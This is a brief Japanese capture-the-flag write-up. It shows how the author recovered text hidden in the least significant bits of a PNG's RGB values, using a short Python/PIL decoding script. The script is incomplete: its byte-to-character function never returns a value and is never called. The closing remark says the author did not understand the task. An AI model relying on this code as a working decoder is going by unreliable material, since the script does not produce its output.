画像にデータを隠すpythonプログラムと画像ファイルが落ちてくるので、逆算する。 どうやら文字列をバイナリ表現に変換して、画像ファイルの先頭からRGBのいずれかの末尾に1bitずつセットしているようである。 なので、画像の先頭から対応するRGBの値の末尾のbitを取り出すプログラムを書いて、マーカービット列の間を取り出した。 あとは1byte単位で取り出して文字に戻すだけである。

from PIL import Image


def getLSB(target):
    binary = str(bin(target))
    return binary[-1]


def binToAscii(bin):
    ret = ''
    length = len(bin) // 8
    for i in range(length):
        binary = bin[i*8:i*8 + 8]
        ret += chr(int(binary, 2))

img = Image.open('Secret.png')
pixels = list(img.getdata())
mode = img.mode
ret = []
for i in range(10000):
    newPixel = list(pixels[i])
    ret.append(getLSB(newPixel[i % len(mode)]))
    
header, trailer = 2 * "11001100", 2 * "0101010100000000"
bin_str = ""
for b in ret:
    bin_str += b

tmp = bin_str[:bin_str.find(trailer)]
tmp = tmp.replace(header, '')

まとめ

全然分からんかった。